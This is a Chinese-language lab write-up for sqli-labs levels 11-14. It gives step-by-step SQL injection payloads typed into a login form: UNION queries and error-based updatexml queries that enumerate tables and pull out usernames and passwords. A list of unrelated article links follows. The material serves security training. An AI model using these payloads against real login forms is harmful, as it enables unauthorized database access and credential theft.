sqli-lab靶场学习(四)——Less11-14(post方法)

ops/2024/9/24 20:18:32/

前言

第1-10关都是get方法,本关开始进入post方法。其实post也好get也好,本质都差不多,使用的技巧也基本相同。

Less11

第11关打开是一个输入用户名密码的界面

显然登陆对话框会使用post方式提交,这里我们尝试在Username一栏通过单引号闭合看看什么效果:

提示有个报错,看来就是单引号闭合,那可以肯定这里有个注入点,在Username框尝试(注意每个输入前面都有个单引号+空格!是闭合变量用的,不是手误):

' or 1=1 -- asd

 是不是发现和第一关的get方法效果类似!既然有回显,那就尝试通过联合注入的方式,先看看有多少列,在Username框输入:

' union select 1 -- asd

这里报错了,表示union后的列数不对,当我们尝试:

' union select 1,2 -- asd

不仅对了,而且还把联合注入部分回显到页面,和第一关类似。那接下来就是获取数据库命了,在Username框输入:

' union select database(),2 -- asd

得到数据库名为security。接着就是获取表名:

' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()) -- asd

显然users应该就是我们要找的表,然后是查找列名:

' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users') -- asd

 列名中username和password应该就是我们要找的列,然后查出用户名和密码:

' union select 1,(select group_concat(username) from users) -- asd

' union select 1,(select group_concat(password) from users) -- asd

通关!

Less12

第十二关先输入单引号

显示错误,再输入双引号:

 看报错信息,应该是双引号和括号作为闭合,测试一下,在Username框输入:

") or 1=1 -- asd

成功,那就确定了通过双引号+括号闭合。剩下的参考第11关即可,不再复述。

Less13

第13关先测试单引号

看来是单引号+括号的闭合,再测试:

') or 1=1 -- asd

确定了单引号+括号的闭合,但是这里没有登陆正确的回显。不过有错误的回显,所以可以利用updatexml大法来处理,和第五关的处理方式类似。在Username框输入:

') or updatexml('1',concat('~',database(),'~'),'1') -- asd

找出了数据库名为security。然后找出对应表名,Username对话框输入:

') or updatexml('1',concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'~'),'1')  -- asd

 第一个表是emails,我们逐个尝试,当输入:

') or updatexml('1',concat('~',(select table_name from information_schema.tables where table_schema=database() limit 3,1),'~'),'1')  -- asd

找出了users表。接着是列名,同样我们逐个尝试后,在输入以下两条时找到了username和password列名:

') or updatexml('1',concat('~',(select column_name from information_schema.columns where table_name='users' limit 4,1),'~'),'1')  -- asd
') or updatexml('1',concat('~',(select column_name from information_schema.columns where table_name='users' limit 5,1),'~'),'1')  -- asd

之后找出用户名,Username框输入:

') or updatexml('1',concat('~',(select username from security.users limit 0,1),'~'),'1')  -- asd

 

密码:

') or updatexml('1',concat('~',(select password from security.users limit 0,1),'~'),'1')  -- asd

通关!

Less14

第14关和13关类似,区别仅在于通过双引号闭合,其余都一样,不另外叙述。


http://www.ppmy.cn/ops/115443.html

相关文章

Android轻量级RTSP服务使用场景分析和设计探讨

技术背景 好多开发者,对我们Android平台轻量级RTSP服务模块有些陌生,不知道这个模块具体适用于怎样的场景,有什么优缺点,实际上,我们的Android平台轻量级RTSP服务模块更适用于内网环境下、对并发要求不高的场景&#…

Redis - 深入理解Redis事务

目录 Redis是如何实现事务的?事务中执行的命令出现错误,会回滚事务吗?同一个连接可以重复开启事务吗?多个客户端同时开启事务会怎样?使用Redis事务只用MULTI和EXEC吗?Redis中的WATCH机制是怎么实现的&#…

YOLOv5的训练技巧汇总

文章目录 前言训练技巧1.训练预热 Warmup1.1 什么是训练预热 Warmup?1.2 常见的训练预热类型1.3 yolov5里面的warmup 2.余弦退火调整学习率 CosineAnnealingLR2.1 解释2.2 yolov5中的余弦退火 3.自适应锚框 Autoanchor3.1 什么是anchor?3.1 yolov5中的默认锚框3.3 …

安卓LiveData与MutableLiveData的使用

简介   LiveData 是 Android 架构组件的一部分,用于持有和管理可观察的数据生命周期感知的数据容器。它的设计目的是在应用的 UI 和数据之间提供响应式的双向绑定,并在数据变化时通知观察者。LiveData还能知晓它绑定的Activity或者Fragment的生命周期&…

如何快速上手一个Github的开源项目

程序研发领域正是有一些热衷开源的小伙伴,技能迭代才能如此的迅速,因此,快速上手一个GitHub上的开源项目,基本上已经变成很个程序员小伙伴必须掌握的技能,因为终究你会应用到其中的一个或多个项目,帮助自己…

Docker UI强大之处?

DockerUI是一款由国内开发者打造的优秀Docker可视化管理工具。它拥有简洁直观的用户界面,使得Docker主机管理、集群管理和任务编排变得轻松简单。DockerUI不仅能展示资源利用率、系统信息和更新日志,还提供了镜像管理功能,帮助用户高效清理中…

《飞机大战游戏》实训项目(Java GUI实现)(设计模式)(简易)

目录 一、最终实现后,效果如下。 (1)简单介绍本游戏项目(待完善) (2)运行效果图(具体大家自己可以试) 初始运行情况。 手动更换背景图。 通过子弹攻击敌机,累…

yolo自动化项目实例解析(三)重构 1.85

原作者在1.85版本的时候将代码重构了,有很多步骤发生了变更,重新瞅瞅 素材包下载 https://download.csdn.net/download/qq_42883074/89787126 这个是3-5章所需的所有相关素材包,1.85版本的,解压到项目目录下即可按下面的步骤走 一…